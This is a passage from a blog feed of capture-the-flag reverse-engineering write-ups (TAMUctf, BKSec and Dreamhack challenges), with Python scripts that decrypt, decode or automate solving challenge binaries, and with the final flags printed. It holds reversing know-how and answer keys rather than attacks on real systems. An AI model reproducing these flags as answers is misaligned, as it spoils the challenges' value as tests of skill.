<p><code class="language-plaintext highlighter-rouge">run</code> is the entry point. Now things are in plain sight.</p>

<p><img src="attachment/40dce2449550c3e70a4cab2c5faad92a.png" alt="" /></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'is_this_final'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
  
<span class="k">def</span> <span class="nf">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
	<span class="c1"># rc4 implement here
</span>	<span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>

<span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'AggiesAggiesAggies'</span>

<span class="n">data1</span> <span class="o">=</span> <span class="nb">file</span><span class="p">[</span><span class="mh">0x3080</span><span class="p">:</span><span class="mh">0x3080</span><span class="o">+</span><span class="mh">0x12</span><span class="p">]</span>
<span class="n">dec1</span> <span class="o">=</span> <span class="n">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">data1</span><span class="p">)</span>

<span class="n">data2</span> <span class="o">=</span> <span class="nb">file</span><span class="p">[</span><span class="mh">0x3098</span><span class="p">:</span><span class="mh">0x3098</span><span class="o">+</span><span class="mh">0x0f</span><span class="p">]</span>
<span class="n">dec2</span> <span class="o">=</span> <span class="n">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">data2</span><span class="p">)</span>
  
<span class="n">data3</span> <span class="o">=</span> <span class="nb">file</span><span class="p">[</span><span class="mh">0x30b0</span><span class="p">:</span><span class="mh">0x30b0</span><span class="o">+</span><span class="mh">0x11</span><span class="p">]</span>
<span class="n">dec3</span> <span class="o">=</span> <span class="n">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">data3</span><span class="p">)</span>

<span class="n">dat4110</span> <span class="o">=</span> <span class="nb">file</span><span class="p">[</span><span class="mh">0x30e0</span><span class="p">:</span><span class="mh">0x30e0</span><span class="o">+</span><span class="mh">0x34</span><span class="p">]</span>
<span class="n">dec4</span> <span class="o">=</span> <span class="n">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">dat4110</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="flag-2">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">gigem{sh0uld_h4v3_r4n_th3_b411_0n_f1r$t_4nd_g04l!!!}</code></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="tamuctf" /><category term="reverse" /><summary type="html"><![CDATA[nucleus [rev]]]></summary></entry><entry><title type="html">BKSec Recruitment Writeups</title><link href="https://leovanbon.github.io/bksec-recruitment-wu.html" rel="alternate" type="text/html" title="BKSec Recruitment Writeups" /><published>2026-03-08T00:00:00+00:00</published><updated>2026-03-08T00:00:00+00:00</updated><id>https://leovanbon.github.io/BKSec-Recruitment-WU</id><content type="html" xml:base="https://leovanbon.github.io/bksec-recruitment-wu.html"><![CDATA[<h1 id="welcome">Welcome</h1>

<p><code class="language-plaintext highlighter-rouge">BKSEC{ctf_has_always_been_fun_til_now?}</code></p>

<h1 id="very-cool-native-app-rev">very cool native app (REV)</h1>

<p>The challenge provides an ipa.</p>

<p><img src="attachment/7acd52405f2fdb239f6189aa2eb322c9.png" alt="" /></p>

<p>Inside it, there are 2 files that caught my eye: the Mach-O64 <code class="language-plaintext highlighter-rouge">HermesChallenge</code> and the binary <code class="language-plaintext highlighter-rouge">main.jsbundle</code>.</p>

<p>I tried analyzing the Mach-O64 but it didn’t give me anything useful.</p>

<p>I proceed edto analyzing the <code class="language-plaintext highlighter-rouge">.jsbundle</code>, putting it in DiE</p>

<p><img src="attachment/776fcc849136063b822441a4d8ad5f50.png" alt="" /></p>

<p>With that information, I found the tool : https://github.com/P1sec/hermes-dec
(after struggling a bit with the syntax) I got the desired .js; let’s take a look:</p>

<p><img src="attachment/379693bd68bc736e365ba94dc119c999.png" alt="" /></p>

<p>We have an “unfinished” flag at <code class="language-plaintext highlighter-rouge">_q3m</code>.
Scroll down a little</p>

<p><img src="attachment/160536194595d392222cfcbb0f4b3902.png" alt="" /></p>

<p>There are some suspicious skips, 
This <code class="language-plaintext highlighter-rouge">_w9p</code> should be the one that checks those missing characters.</p>

<p><img src="attachment/96521f96578a1976cadc0ec16f47f766.png" alt="" /></p>

<p><img src="attachment/ecf8a89fe9feadf14d8150a5d32d7798.png" alt="" /></p>

<p>I fed it all to the LLM and it got me the full thing:</p>

<p><img src="attachment/25c562d36a2314c435f499742620fe82.png" alt="" /></p>

<h1 id="iot_ez_or_hard">IoT_ez_or_hard</h1>

<p>This challenge is about inspecting a firmware update. %% (which was kind of broken and my task is to analyze to see how it works and recovers the flag (the author accidentally hinted this)) %%</p>

<h2 id="extracting">Extracting</h2>

<p>The challenge provides me a <code class="language-plaintext highlighter-rouge">router_fw.bin</code>.
I asked the LLM for the tools and how could i extract the data from this, after a while i got what i wanted
<img src="attachment/96c96da8f683aee5cf1c2fe52690b8f0.png" alt="" />
%%0x7e = 126%%</p>

<p>Found an executable <code class="language-plaintext highlighter-rouge">cloudsync</code>. Let’s dive into that</p>

<p><img src="attachment/2baa83b5f1a64a9c8552ac063c8ad1d5.png" alt="" />
If nothing is suspicious, it passes us to the <code class="language-plaintext highlighter-rouge">sub_1a70</code></p>

<p>Let’s take a look at <code class="language-plaintext highlighter-rouge">sub_1a70</code> 
%%that wall of vars jumpscared me%%</p>

<p>scrolling through, these are noticeable:</p>
<ul>
  <li>it reads the serial</li>
  <li>it reads itself</li>
  <li>loads something from <code class="language-plaintext highlighter-rouge">0x31c0</code> - <code class="language-plaintext highlighter-rouge">0x3220</code></li>
  <li>it reads the <code class="language-plaintext highlighter-rouge">backup.dat</code> <em>(the backup file for syncing?)</em></li>
  <li>it has its own reading func <code class="language-plaintext highlighter-rouge">sub_19b0</code></li>
  <li><code class="language-plaintext highlighter-rouge">sub_1900</code> and <code class="language-plaintext highlighter-rouge">sub_1710</code> were called several times (together)</li>
  <li>There is a XOR check loop at the end</li>
  <li>128 bits = 16 bytes</li>
</ul>

<h3 id="analyzing--guessing-sub_1900--sub_1710">Analyzing &amp; guessing <code class="language-plaintext highlighter-rouge">sub_1900</code> &amp; <code class="language-plaintext highlighter-rouge">sub_1710</code></h3>

<p><img src="attachment/9caf464c43ebd19540f77a082b45481a.png" alt="" />
<img src="attachment/3c0e1c9d01b02b28aa249effa2db3c5b.png" alt="" /></p>

<p>it loads some hard coded vals, i’m curious what those were</p>

<p><img src="attachment/f1eebc5acda0dc51cc1e55fca6f7a0f5.png" alt="" /></p>

<p><img src="attachment/de93bce2b21518445c5e6ce816f62281.png" alt="" /></p>

<p>That code pattern appeared several more times:</p>

<p><img src="attachment/5b63be66b22c8822439976dc61f67f64.png" alt="" />
<img src="attachment/e52d2aecffbc90f2b1e28b7fc4bb57fb.png" alt="" /></p>

<p>So there is a high chance the LLM was right %%(there is no chance we have a custom hashing/encrypting here, yeah?)%%</p>

<p>From what i have known: SHA256 has 3 parts: init, update and finalize
I derived that</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">sub_1900(state, src, len)</code> ~ <code class="language-plaintext highlighter-rouge">sha_update</code></li>
  <li><code class="language-plaintext highlighter-rouge">sub_1710(state, dest)</code> ~ <code class="language-plaintext highlighter-rouge">sha_finalize</code></li>
</ul>

<h2 id="reconstructing">Reconstructing</h2>

<p>Now i can rewrite the first part with python</p>

<p><img src="attachment/4c4fd3bdb3b683b4ca9adf0fbe9c769f.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import hashlib  

sugar = bytes.fromhex("4C18217E0A6B2D72334F5561102A3C19")[::-1]

exe_bytes = open("cloudsync", "rb").read()
self_has = hashlib.sha256(exe_bytes).digest()

serial = b'ROUTER-61AAE6FC6A83FD56'
first_dish = hashlib.sha256(serial + sugar + self_has).digest()
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">first_dish</code> is our router’s “signature”</p>

<p>it then goes to the HMAC and was checked with the tag from the <code class="language-plaintext highlighter-rouge">backup.dat</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dat = open("backup.dat", "rb").read()
tag = dat[0x19 + 39 : 0x19 + 39 + 32]

import hmac

assert hmac.new(first_dish, dat[5:0x19+39], hashlib.sha256).digest() == tag, "HMAC not ok"
print("HMAC ok")
</code></pre></div></div>

<p>I copied all the file in the same folder tested it and it said “ok” %%jackpot!%%. Our key <code class="language-plaintext highlighter-rouge">first_dish</code> is correct.</p>

<p>aaaaanddddddd….. did i miss something? isn’t it supposed to have a decrypting fuction? (so this is the part where it was broken)</p>

<p>looked around and found this untouched <code class="language-plaintext highlighter-rouge">sub_2340</code><br />
<img src="attachment/6010a3b40de629a9eaa6d15ef3512f7b.png" alt="" />
<img src="attachment/2da0450d1dcc3ac0558f1a7957422734.png" alt="" />
<img src="attachment/5941feed79786917da36c9b4cae1d974.png" alt="" /></p>

<p>rewirite:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>key = hashlib.sha256(key1 + key2 + b'\x00\x00\x00\x00').digest()
key += hashlib.sha256(key1 + key2 + b'\x01\x00\x00\x00').digest()
...
flag = xor(cipher, key)
</code></pre></div></div>

<h3 id="finishing">Finishing</h3>

<p>With further inspection of the <code class="language-plaintext highlighter-rouge">backup.dat</code> and trying out the combinations (with LLM), i got the right combinations, the full script was written as below</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import hashlib, hmac
from pwn import xor

sugar = bytes.fromhex("4C18217E0A6B2D72334F5561102A3C19")[::-1]

exe_bytes = open("cloudsync", "rb").read()
self_has = hashlib.sha256(exe_bytes).digest()

serial = b'ROUTER-61AAE6FC6A83FD56'
first_dish = hashlib.sha256(serial + sugar + self_has).digest()

dat = open("backup.dat", "rb").read()
ntwice = dat[5 : 0x15]
tag = dat[0x40:]

assert hmac.new(first_dish, dat[5:0x19+39], hashlib.sha256).digest() == tag, "HMAC not ok"
print("HMAC ok")

skibidi = dat[0x19 : 0x19 + 39]
bo_pi_xi = hashlib.sha256(first_dish[:16] + ntwice + b'\x00\x00\x00\x00').digest()
bo_pi_xi += hashlib.sha256(first_dish[:16] + ntwice + b'\x01\x00\x00\x00').digest()
print(xor(skibidi, bo_pi_xi))
</code></pre></div></div>

<p><img src="attachment/9ac39208dc5f087e8c81afa381b6ef2c.png" alt="" /></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="bksec" /><category term="reverse" /><summary type="html"><![CDATA[Welcome]]></summary></entry><entry><title type="html">BKSec Earlybird Writeups</title><link href="https://leovanbon.github.io/bksec-earlybird-wu.html" rel="alternate" type="text/html" title="BKSec Earlybird Writeups" /><published>2025-12-26T00:00:00+00:00</published><updated>2025-12-26T00:00:00+00:00</updated><id>https://leovanbon.github.io/BKSec-Earlybird-WU</id><content type="html" xml:base="https://leovanbon.github.io/bksec-earlybird-wu.html"><![CDATA[<h1 id="dungeon-in-1983"><a href="https://dreamhack.io/wargame/challenges/1212">dungeon-in-1983</a></h1>

<p>The .zip Dream gave me containes 2 binaries. Brief inspection showed that their decompiled pseudocode is identical so I’m just going to analyze the deploy/prob.</p>

<p>The binary reads our input and validates it using <code class="language-plaintext highlighter-rouge">FUN_00101407</code>. Provide the correct <em>spell</em> 10 times to retrieve the flag.
<img src="attachment/cfff7bafcc23964828c145690fb07866.png" alt="" /></p>

<h2 id="analysis-of-fun_00101407">Analysis of <code class="language-plaintext highlighter-rouge">FUN_00101407</code></h2>

<p>Diving into <code class="language-plaintext highlighter-rouge">FUN_00101407</code>. There is only one return line: <code class="language-plaintext highlighter-rouge">return local_10 == param_2</code> when it is done iterating through <code class="language-plaintext highlighter-rouge">param_1</code>
<img src="attachment/30a55886b76c73851507ea46428870d1.png" alt="" /></p>

<p>Regarding <code class="language-plaintext highlighter-rouge">local_10</code>, i can see that</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">local_10 = local_10 + 1</code> if <code class="language-plaintext highlighter-rouge">param_1[i] == 'A'</code></li>
  <li><code class="language-plaintext highlighter-rouge">local_10 = local_10 &lt;&lt; 1</code> if <code class="language-plaintext highlighter-rouge">param_1[i] == 'B'</code></li>
</ul>

<h2 id="solution">Solution</h2>

<p>Since <code class="language-plaintext highlighter-rouge">param_1</code> is our input, i got this for constructing <em>the spell</em> if given <code class="language-plaintext highlighter-rouge">param_2</code> (or <code class="language-plaintext highlighter-rouge">local_1b8</code>):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for chr in f"{by:b}":
	if chr == '1': spell = spell + 'A'
	spell = spell + 'B'
</code></pre></div></div>

<p>Stepping back to <code class="language-plaintext highlighter-rouge">main</code>, <code class="language-plaintext highlighter-rouge">local_1b8</code>  receives bytes from  <code class="language-plaintext highlighter-rouge">local_1b0</code>, which reads from <code class="language-plaintext highlighter-rouge">/dev/urandom</code>. There is <code class="language-plaintext highlighter-rouge">FUN_0010138d</code> prints the <em>monster’s stats</em> using all the bytes from <code class="language-plaintext highlighter-rouge">local_1b8</code>.
<img src="attachment/40472ead5b21f2a2546a9a3477d5a13f.png" alt="" /></p>

<p>From that, I have this to retrieve the random byte <code class="language-plaintext highlighter-rouge">local_1b8</code>:
<code class="language-plaintext highlighter-rouge">local_1b8 = (hp &lt;&lt; 0x30) | str | (agi &lt;&lt; 8) | (vit &lt;&lt; 0x0) | (int &lt;&lt; 0x18) | (end &lt;&lt; 0x20) | (dex &lt;&lt; 0x28) </code></p>

<p>Finally, I wrote this script that did the job:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import re
from pwn import *

p = process("./prob")
#p would change

for i in range(10):
	p.recvuntil(b']:')
	
	monster = p.recvuntil(b'Cast your spell!: ').decode()
	in4 = [int(s) for s in re.findall(r'\d+', monster)]
	print(in4)
	
	by=0
	for j in [0,6,5,4,3,2,1]:
		by = by + in4[j]
		by = by &lt;&lt; 8
	by = by &gt;&gt; 8
	
	spell = ""
	for chr in f"{by:b}":
		if chr == '1': spell = spell + 'A'
		spell = spell + 'B'
	spell = spell[:-1]
	
	print(spell)
	p.sendline(spell.encode())
p.interactive()
</code></pre></div></div>

<h2 id="flag">Flag</h2>
<p><em>At the time of writing, I was having a problem with <code class="language-plaintext highlighter-rouge">pwntools remote()</code> so I’ll update the flag later.</em></p>

<h1 id="photographer"><a href="https://dreamhack.io/wargame/challenges/1998">photographer</a></h1>

<p>Dream gave me a binary and an encoded flag.</p>

<p><img src="attachment/06f63ac575085dcbec5e105244c1f4e6.png" alt="" /></p>

<p>At a glance, it seems that byte stream from the flag is parsed into <code class="language-plaintext highlighter-rouge">local_448</code> <em>(as this later be used in the check loop)</em>:</p>

<h2 id="loop-analysis">Loop Analysis</h2>
<p><img src="attachment/39e6a247b7554556282a8e05b26404cf.png" alt="" /></p>

<p>In the loops: <code class="language-plaintext highlighter-rouge">local_480</code> is the index;</p>

<p><code class="language-plaintext highlighter-rouge">FUN_00102bb6</code> simply gets the pointer to the next byte</p>

<p><img src="attachment/fab2f065b61356d6421541fe5de92123.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">FUN_001024c2</code> is shift left, <code class="language-plaintext highlighter-rouge">FUN_00102489</code> is shift right</p>

<p><img src="attachment/a28850bc31676315e323756b6f67c99b.png" alt="" /><img src="attachment/e8cbd8a444d91463c970cb47c015abe8.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">*puVar7 = uVar3</code> updates the new value</p>

<p>With that in mind, i wrote the decoder, with <code class="language-plaintext highlighter-rouge">r</code> for the <code class="language-plaintext highlighter-rouge">rand()</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if i % 3 == 2:
	dec = (current_byte + 0x18) ^ r
elif i % 3 == 0:
	dec = ((current_byte &gt;&gt; 4 | current_byte &lt;&lt; 4) - r) % 256
	dec = dec &gt;&gt; 1 | dec &lt;&lt; 7
else:
	r = r % 8
	dec = current_byte &lt;&lt; r | curr_by &gt;&gt; (8-r)
</code></pre></div></div>

<h2 id="full-script">Full Script</h2>

<p>Knowing that the program uses <code class="language-plaintext highlighter-rouge">srand(0xbeef)</code>, we can replicate all the <code class="language-plaintext highlighter-rouge">rand()</code> in the binary, the full script is written as below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import ctypes
libc = ctypes.CDLL("libc.so.6")
libc.srand(0xbeef)

with open("flag.bmp.enc", 'rb') as data, open("flag.bmp", 'wb') as flag:
	i = 0
	while(True):
		cur = data.read(1)
		if (not cur): break
		current_byte = int.from_bytes(cur)
		r = libc.rand() % 256
		
		if i % 3 == 2:
			dec = (current_byte + 0x18) ^ r
		elif i % 3 == 0:
			dec = ((current_byte &gt;&gt; 4 | current_byte &lt;&lt; 4) - r) % 256
			dec = dec &gt;&gt; 1 | dec &lt;&lt; 7
		else:
			r = r % 8
			dec = current_byte &lt;&lt; r | curr_by &gt;&gt; (8-r)
		
		flag.write(bytes([dec % 256]))
		i = i + 1
</code></pre></div></div>

<h2 id="flag-1">Flag</h2>
<p><em>DH{d85a130283f58035eb327b56e37d2dd087156ba629687a5d52bd4af3c5bfa4f4}</em></p>

<h1 id="similar"><a href="https://dreamhack.io/wargame/challenges/1670">similar</a></h1>

<p>The program gives us a list of list, each containing 3 integers ranging from -100 to 100. After showing, it then sorts that list using <code class="language-plaintext highlighter-rouge">FUN_001017c8</code>. If we get the sorted order right, we get the flag.</p>

<p><img src="attachment/a08165be4b3e362e35701bb017d81df5.png" alt="" /></p>

<h2 id="analysis-of-fun_001017c8">Analysis of <code class="language-plaintext highlighter-rouge">FUN_001017c8</code></h2>

<p>This fuction calculates value from the <em>list of 3 integers</em> and compares them:</p>

<p><img src="attachment/77017e744cc20cac0bf0014f648bb935.png" alt="" /></p>

<p>Let’s check the <code class="language-plaintext highlighter-rouge">FUN_00106a3</code></p>

<p><img src="attachment/fdb1620d9ab7297e24cab92784c9a36c.png" alt="" /></p>

<p>While examining, there is this <code class="language-plaintext highlighter-rouge">param_1 &gt;&gt; 0x20</code> appeared a little confusing. Suspecting that Ghidra might have analyzed it wrong, I take a look at the assembly:</p>

<p><img src="attachment/a1c8f2fbf15ca8d9061f2d5df00dc623.png" alt="" /></p>

<p>By default <code class="language-plaintext highlighter-rouge">int</code> is 4 bytes so <code class="language-plaintext highlighter-rouge">[RBP + local_48 + 0x4] = param_1[1]</code>.</p>

<p>Further inspection of the assembly in <code class="language-plaintext highlighter-rouge">FUN_001017c8</code> revealed that the value loaded into <code class="language-plaintext highlighter-rouge">FUN_00106a3</code> was actually <code class="language-plaintext highlighter-rouge">param_1[2]</code>.</p>

<p><img src="attachment/5a04090361ab4253cbff70496e9b2525.png" alt="" /></p>

<h2 id="implementation">Implementation</h2>
<p>Now we know how it sorts, implement it and we’re done:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from math import sqrt
from pwn import *
from functools import cmp_to_key

def cal(a): 
	return (1- (a[1] + a[2] + a[0])/ (sqrt(3) * sqrt(a[1]*a[1] + a[0]*a[0] + a[2]*a[2])))

def compar(a,b):
	x = cal(a)
	y = cal(b)
	if x&lt;y: return -1
	elif x&gt;y: return 1
	else: return 0

r = remote('host8.dreamhack.games', 15703)
data = r.recvuntil(b'Result?').decode()
arr = [list(map(int, line.split(':')[1].split())) + [int(line.split(':')[0])] for line in data.splitlines() if ':' in line and line.split(':')[0].strip().isdigit()]
sor = sorted(arr, key=cmp_to_key(compar))
payload = " ".join(str(a[3]) for a in sor)
r.sendline(payload.encode())
r.interactive()
</code></pre></div></div>

<h2 id="flag-2">Flag</h2>
<p><em>DH{s1m1l4r_in_c0s1n3:2OL5p3IWpaiDXt3T0dPUkg==}</em></p>

<h1 id="crabme"><a href="https://dreamhack.io/wargame/challenges/2147">CrabME</a></h1>

<p>I spotted <code class="language-plaintext highlighter-rouge">flagchecker()</code>, <code class="language-plaintext highlighter-rouge">lVar5</code> serves as the index. The validation process begins when <code class="language-plaintext highlighter-rouge">lVar5 == 64</code>.</p>

<p><img src="attachment/475add3f91cb6d63c43462179f9a9675.png" alt="" /></p>

<p>I was confused about that thing with <code class="language-plaintext highlighter-rouge">uVar6, uVar7</code> below. After some time looking it up, it’s handling the reconstruction of 1, 2, 3 or 4-byte character.</p>

<h2 id="inspecting-the-logic">Inspecting the Logic</h2>

<p><img src="attachment/9a6eecc3d802f27a9300fcb7524accf7.png" alt="" />
<img src="attachment/6e462053d61e5ab763195f8d98bd2dc4.png" alt="" /></p>

<p>I rewrite the check logic with <code class="language-plaintext highlighter-rouge">x := uVar1</code> as below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(((x &gt;&gt; 2 &amp; 0b00100000 |  x &gt;&gt; 4 &amp; 0b00000100 | (x &lt;&lt; 3 &amp; 0b10000000 |
   x &gt;&gt; 2 &amp; 0b00000010 | (x &gt;&gt; 1 &amp; 0b00000001 |  x &lt;&lt; 3 &amp; 0b00001000)
+ (x &lt;&lt; 2 &amp; 0b00010000) + (x &lt;&lt; 1 &amp; 0b01000000)) ^ 99) + 0x22 &amp; 0xff
</code></pre></div></div>
<p>Turns out it shuffles the bits of <code class="language-plaintext highlighter-rouge">x</code> and do some simple operations.</p>

<h2 id="reversing">Reversing</h2>
<p>Reverse it and now we’re done…</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enc = bytearray(b'\xae\x00\x00\x00\x6d\x00\x00\x00\x9b\x00\x00\x00\x92\x00\x00\x00\x13\x00\x00\x00\x2b\x00\x00\x00\xc6\x00\x00\x00\xc9\x00\x00\x00\xe5\x00\x00\x00\xfa\x00\x00\x00\x96\x00\x00\x00\x0b\x00\x00\x00\x64\x00\x00\x00\x31\x00\x00\x00\xb8\x00\x00\x00\x08\x00\x00\x00\xc8\x00\x00\x00\x48\x00\x00\x00\xd2\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00\x00\xfa\x00\x00\x00\x7b\x00\x00\x00\x88\x00\x00\x00\xb0\x00\x00\x00\x2f\x00\x00\x00\x7c\x00\x00\x00\xb3\x00\x00\x00\xb3\x00\x00\x00\x58\x00\x00\x00\x61\x00\x00\x00')

def shufflelelele(b):
	crab_map = [1, 3, 6 , 0, 2, 7, 5, 4]
	return sum((((((b - 0x22) &amp; 0xff) ^ 99) &gt;&gt; i) &amp; 1) &lt;&lt; crab_map[i] for i in range(8))

print(''.join(chr(shufflelelele(b)) for b in enc[::4]))
</code></pre></div></div>
<p>…or not.</p>

<p><img src="attachment/2a44b91770c1deea0a21f8b67a16e0d7.png" alt="" /></p>

<p>Notice that in the <code class="language-plaintext highlighter-rouge">main</code>, our flag is 64 chr long, but there is only 32 given encoded bytes. The loop in <code class="language-plaintext highlighter-rouge">main</code> check if the input chr is <code class="language-plaintext highlighter-rouge">[a-f] or [0-9]</code>:</p>

<p><img src="attachment/37f633eb6e36af59888e75a19f4108dc.png" alt="" /></p>

<p>I try to convert the decoded bytes to hexes and it works:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print(''.join(f"{shufflelelele(b):02x}" for b in enc[::4]))
</code></pre></div></div>

<h2 id="flag-3">Flag</h2>
<p><em>DH{fb810d0e1ca97a70909f4e1982e1f65272623ee367129f8d42f3e987bcbc6665}</em></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="dreamhack" /><category term="reverse" /><summary type="html"><![CDATA[dungeon-in-1983]]></summary></entry></feed>